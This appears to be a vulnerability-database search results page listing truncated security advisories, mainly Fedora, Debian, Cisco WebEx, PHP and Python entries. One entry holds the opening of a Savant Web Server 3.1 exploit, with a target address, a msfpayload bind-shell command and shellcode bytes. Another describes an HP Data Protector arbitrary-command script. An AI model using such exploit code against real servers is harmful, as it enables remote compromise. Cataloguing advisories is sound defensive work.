5706 matches found
Cisco WebEx Meetings Server Authentication Bypass Vulnerability
Cisco WebEx Meetings are web conferencing solutions. An authentication bypass vulnerability in the play/modules component in Cisco WebEx Meetings Server allows remote attackers to gain administrator privileges via a crafted API request...
Savant-Web-Server-3.1
import socket targetaddress="10.10.10.129" targetport=80 buffer2 = "R0cX" + "R0cX" msfpayload windows/shellbindtcp LPORT=4444 R | msfencode -e x86/shikataganai -c 4 -t c buffer2 += "\xbd\xec\x37\x93\x4b\xdb\xcf\xd9\x74\x24\xf4\x58\x31\xc9\xb1"...
HP-Data-Protector-A.06.20
This script allows to execute a command with an arbitrary number of arguments. The trick calls 'perl.exe' interpreter installed with HP Data Protector inside the directory installpath/bin/. The main goal of the script is to bypass the limitation of executing only a single command without any...
[SECURITY] Fedora 21 Update: erlang-17.4-1.fc21
Erlang is a general-purpose programming language and runtime environment. Erlang has built-in support for concurrency, distribution and fault tolerance. Erlang is used in several large telecommunication systems from Ericsson...
[SECURITY] Fedora 19 Update: python-2.7.5-15.fc19
Python is an interpreted, interactive, object-oriented programming language often compared to Tcl, Perl, Scheme or Java. Python includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as t...
[SECURITY] Fedora 21 Update: golang-1.3.3-1.fc21
The Go Programming Language...
[SECURITY] Fedora 20 Update: python-2.7.5-15.fc20
Python is an interpreted, interactive, object-oriented programming language often compared to Tcl, Perl, Scheme or Java. Python includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as t...
php: heap-based buffer overflow in DNS TXT record parsing
A heap-based buffer overflow flaw was found in the way PHP parsed DNS TXT records. A malicious DNS server or a man-in-the-middle attacker could possibly use this flaw to execute arbitrary code as the PHP interpreter if a PHP application used the dnsgetrecord function to perform a DNS query...
perl-Email-Address DoS
resources exhaustion on address parsing...
[SECURITY] Fedora 19 Update: golang-1.3.3-1.fc19
The Go Programming Language...
[SECURITY] Fedora 20 Update: golang-1.3.3-1.fc20
The Go Programming Language...
[SECURITY] Fedora 20 Update: ctags-5.8-16.fc20
Ctags generates an index or tag file of C language objects found in C source and header files. The index makes it easy for text editors or other utilities to locate the indexed items. Ctags can also generate a cross reference file which lists information about the various objects found in a set o...
Python 'bufferobject. c'integer overflow vulnerability-vulnerability warning-the black bar safety net
Affected system: Python python Not affected system: Python python 2.7.8 Description: BUGTRAQ ID: 7 0 0 8 9 Python is an object-oriented, literal translation-computer programming languages. Python 2.7.8 the previous version did not properly check the user data of the boundary, in the'bufferobject...
[SECURITY] Fedora 20 Update: kturtle-4.14.1-1.fc20
Educational Programming Environment...
Debian Security Advisory DSA 3020-1 (acpi-support - security update)
During a review for EDF, Raphael Geissert discovered that the acpi-support package did not properly handle data obtained from a user OpenVAS Vulnerability Test $Id: deb3020.nasl 6735 2017-07-17 09:56:49Z teissa $ Auto-generated from advisory DSA 3020-1 using nvtgen 1.0 Script version: 1.0 Author:...
Debian: Security Advisory (DSA-3020-1)
The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2014 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
DSA-3013-1 s3ql - security update
Bulletin has no description...
Microsoft Releases EMET 5.0 Exploit Mitigation Tool
The latest version of Microsoft’s freely available stopgap against zero-day exploits was released today with two new exploit mitigations and a batch of new configuration options. The update to Microsoft’s Enhanced Mitigation Experience Tool kit, or EMET, comes six months after a technical preview...
[SECURITY] Fedora 20 Update: speech-dispatcher-0.8-9.fc20
Common interface to different TTS engines Handling concurrent synthesis requests =E2=80=93 requests may come asynchronously from multiple sources within an application and/or from more different applications. Subsequent serialization, resolution of conflicts and priorities of incoming requests...